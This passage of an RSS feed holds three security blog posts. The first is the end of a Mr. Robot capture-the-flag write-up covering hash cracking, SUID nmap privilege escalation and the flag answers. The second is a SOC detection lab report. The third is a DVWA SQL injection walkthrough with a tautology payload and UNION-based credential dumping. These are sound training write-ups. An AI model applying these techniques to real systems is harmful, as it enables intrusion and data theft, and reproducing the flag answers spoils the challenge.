<strong>second key</strong> which can be read only by its owner (robot) and <strong>robot’s MD5 hash.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*cXFHbDExaPjY3rWl3Yavxg.png" /></figure><p>Since we are given user’s robot MD5 hash, we can try cracking it, and then switch user to robot and read the second key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*AIe3JXDdT2KRaHUdaDJltw.png" /></figure><p><strong>Hash Cracking Alternative 2</strong></p><p>We can also use <strong>hashcat</strong> as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*IKlDZORW-ypn_qZXGo1IxA.png" /></figure><p>So, the password for user robot is abcdefghijklmnopqrstuvwxyz</p><p>Let’s try switching users and get the second key.</p><p>we need to use an interactive terminal to switch users.</p><p>Let’s upgrade shell using python</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*nqSzEfWLt_pFJkYUzcy8aA.png" /></figure><p><strong><em>Q2: What is key 2?</em></strong></p><p>Answer: 822c73956184f694993bede3eb39f959</p><p>With only the final key remaining, and considering the hint from the room’s opening question <em>“Can you root this Mr. Robot styled machine?”</em> it’s clear that the next step is to escalate our privileges and gain root access.</p><p>One common technique is to search for files with special permissions, such as <strong>SUID</strong> binaries. These files always run with the privileges of their owner, rather than the user who executes them. If misconfigured, they can provide a pathway to privilege escalation.</p><p>We can <strong>search for SUID files</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*q8s-3FeOYM881DLYB94bHw.png" /></figure><p>Seeing nmap in this list is unusual and raises suspicion. To check whether it can be used for privilege escalation, we can search for it.</p><p>On GTFOBins. When we look up “nmap” there, we find the following information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*U5Y_r-VAsHlWY5I5cTl-AQ.png" /></figure><p>By following the instructions for launching an interactive shell, we can obtain a <strong>root shell</strong>. Be sure to either provide the full path to the binary, or change into nmap’s directory (cd /usr/local/bin) before running the command, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*70f5MsWhOzvtbdocT_Vydw.png" /></figure><p>After some searching, we are able to locate and read the <strong>third and final key</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*SDG2TlNPgjn17AlwdCvJZw.png" /></figure><p><strong><em>Q3: What is key 3?</em></strong></p><p>Answer: 04787ddef27c3dee1ee161b21670b4e4</p><p>Finally, I’ve had an amazing time in this room and learned a lot.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=90467b3c8ab9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AutoSOC LAB Report]]></title>
            <link>https://medium.com/@khalid_abdullahi/autosoc-lab-report-456f77e006b7?source=rss-90a95fd5eaad------2</link>
            <guid isPermaLink="false">https://medium.com/p/456f77e006b7</guid>
            <category><![CDATA[suricata]]></category>
            <category><![CDATA[n8n]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pfsense]]></category>
            <category><![CDATA[wazuh]]></category>
            <dc:creator><![CDATA[Khalid Abdullahi]]></dc:creator>
            <pubDate>Fri, 21 Aug 2026 08:45:58 GMT</pubDate>
            <atom:updated>2026-08-21T08:45:58.672Z</atom:updated>
            <content:encoded><![CDATA[<p>Security Operations Center: Design and Deployment</p><p><strong><em>Detection, Monitoring, Automation and Incident Response</em></strong></p><h3>Overview</h3><p>This report documents a Security Operations Center lab built as an internship project. The goal was to design and deploy a fully virtualized SOC under VMware, reproducing a realistic enterprise environment through a Red Team versus Blue Team setup. Every component below, from network segmentation to alert automation, was configured and tested inside this lab.</p><h3>Objectives of the Lab</h3><p>• Build a segmented enterprise network with a dedicated SOC zone</p><p>• Deploy detection tools capable of catching network and host level attacks</p><p>• Centralize alerts into a SIEM for monitoring and correlation</p><p>• Automate the path from raw alert to enriched incident and analyst notification</p><ul><li>Validate the setup against real attack techniques run from a Red Team machine</li></ul><h3>Architecture</h3><p>The lab separates traffic into four VLANs behind a pfSense firewall: SOC, DMZ, Database and WAN. A Kali Linux machine plays the Red Team role and sends traffic through pfSense, which enforces traffic control before anything reaches the protected zones. Suricata sits inline on the SOC VLAN and inspects traffic for intrusion signatures. Inside the SOC core, Wazuh receives network alerts and log data, forwards findings to TheHive for case creation, and Cortex enriches those cases with threat intelligence. n8n ties the pipeline together and pushes notifications out through email and WhatsApp. Kibana gives the analyst a visual layer on top of Wazuh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*xKaYDvNV_eivNgelgdtM7g.png" /><figcaption><em>Figure 1. Full SOC lab architecture, VLAN segmentation and data flow.</em></figcaption></figure><h3>Tools Deployed</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*TTiC3ojRq1zW_tJpigFx2A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*HtugYZzm9fBdGthgykC9Uw.png" /></figure><h3>Attack Scenarios</h3><p>Three scenarios were run from the Kali Linux machine to validate detection and response end to end.</p><p>• Nmap scan against the network, caught by Suricata, with an incident created automatically in TheHive</p><p>• SSH brute force attack using Hydra, resulting in a successful compromise and an automatically generated incident</p><p>• Multi layer scan detection covering both PostgreSQL and Oracle targets</p><h3>Automation Pipeline</h3><p>Every alert follows the same automated path from detection to notification. Suricata detects the activity coming from Kali Linux, Wazuh generates an alert from that detection, and n8n picks it up from there. The workflow checks the offending IP against AbuseIPDB, creates a case in TheHive, blocks the IP at the pfSense level when the severity threshold is met, runs the alert through Groq AI for a written analysis, and finally sends out an email and a WhatsApp notification to the analyst.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*IWl8bQsXiCNLOAZBuUrDHw.png" /><figcaption><em>Figure 2. n8n workflow orchestrating alert enrichment, blocking and notification.</em></figcaption></figure><h3>Results</h3><p>Over the monitored period, the lab produced the following numbers directly from the Wazuh dashboard and TheHive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*bhYbOOl9vQzcU7kaFtdRKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*eNCZ7Fb4OR_ILbxLhEoAyA.png" /><figcaption><em>Figure 3. Wazuh security events overview, alert level evolution and top MITRE ATT&amp;CK techniques.</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*WxC6h-qfibMyVmGqj1K4bQ.png" /><figcaption><em>Figure 4. Custom SOC dashboard, alerts grouped by category and by agent.</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*lj-GjHLg6MX776MfC5snGw.png" /><figcaption><em>Figure 5. TheHive case queue, showing status and severity distribution for the 29 incidents created.</em></figcaption></figure><h3>Skills Developed</h3><p>Working through this lab covered a full range of blue team practice, from packet level detection to incident response automation and basic use of AI in a security workflow.</p><p>• Network intrusion detection and signature-based alerting</p><p>• Security incident management and case handling</p><p>• SOC workflow automation with n8n</p><p>• Integration of artificial intelligence into cybersecurity operations</p><p>• Network segmentation and firewall policy design with pfSense</p><p>• SIEM configuration and dashboard building with Wazuh and OpenSearch</p><h3>Finally</h3><p>This lab reproduced, at a small scale, what a real SOC pipeline looks like in practice: segmented network, layered detection, centralized monitoring, enriched incidents and automated notification. The 1,261 alerts and 29 auto-created incidents confirm the pipeline held up under simulated attack traffic, from a simple network scan through to a successful brute force compromise.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=456f77e006b7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Application Security Assessment: Mastering SQL Injection (DVWA Lab) low level]]></title>
            <link>https://medium.com/@khalid_abdullahi/web-application-security-assessment-mastering-sql-injection-dvwa-lab-low-level-f33ee8c3b544?source=rss-90a95fd5eaad------2</link>
            <guid isPermaLink="false">https://medium.com/p/f33ee8c3b544</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[dvwa]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Khalid Abdullahi]]></dc:creator>
            <pubDate>Wed, 12 Aug 2026 18:15:09 GMT</pubDate>
            <atom:updated>2026-08-12T18:16:47.450Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*__h1u_1wlR7zIItbLfZrhQ.png" /></figure><p>Objective</p><p>To analyze, exploit, and remediate SQL Injection vulnerabilities across multiple difficulty tiers (Low, Medium, High) within a controlled environment, highlighting the transition from vulnerable string concatenation to secure parameterized queries.</p><p>about</p><p><em>An SQL injection attack involves inserting or injecting SQL commands via client-side input. Successful exploitation allows reading sensitive database content, modifying data (insert, update, delete), executing database administrative actions (like DBMS shutdown), reading files from the file system, or running operating system commands. This form of injection</em></p><p>For non-members , click on these free link <a href="https://medium.com/@khalid_abdullahi/web-application-security-assessment-mastering-sql-injection-dvwa-lab-low-level-f33ee8c3b544?source=friends_link&amp;sk=19ed22e071cfd5c1789d5da4fba7e230">https://medium.com/@khalid_abdullahi/web-application-security-assessment-mastering-sql-injection-dvwa-lab-low-level-f33ee8c3b544?source=friends_link&amp;sk=19ed22e071cfd5c1789d5da4fba7e230</a></p><p>What is Damn Vulnerable Web Application</p><p>DVWA is a hacker’s training playground to safely learn web attacks and defences. It is a insecure web app designed for learning and practicing ethical hacking and security testing in a safe environment.<em>targets data-plane input to affect the execution of preset SQL commands, commonly referred to as “SQLi”.</em></p><h3>Technical Analysis &amp; Exploitation Walkthrough</h3><h3>1. Low Level: Unrestricted Input &amp; Direct Exploitation</h3><h3>Walkthrough &amp; Methodology</h3><p>At the Low difficulty, the application performs zero input validation or escaping on the user-supplied id parameter. The raw input is concatenated directly into the backend SQL query string.</p><h4>Reconnaissance</h4><p>Entering standard integers (1, 5) returns structured user details, confirming that the parameter interacts dynamically with a relational database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*qqB7J329Saf2P-aYIIy_lA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*sPI_c2e7totQD83iKhBonw.png" /></figure><h4>Logic Bypass (Authentication/Data Dump)</h4><p>By injecting a logical tautology (‘ OR ‘1’=’1), the WHERE clause always evaluates to true, forcing the database to return all records regardless of the user ID supplied:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*i_pPGiVPqY4-cDOghhsmWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*N_rXxcADUUSi4JxptPvh2A.png" /></figure><h4>Column Enumeration via UNION</h4><p>To extract data from external tables, the query structure must match the original query’s column count. Using the UNION operator with incremental dummy columns (1, 2) confirms the layout supports two output columns:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*sXCBMTlAmjljgMJYlib87w.png" /></figure><h4>Data Exfiltration</h4><p>With the column count verified, sensitive data (such as user credentials hashes) can be pulled from the user’s table:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*DP9wOWGTiUHIXIpiG6Ztuw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f33ee8c3b544" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>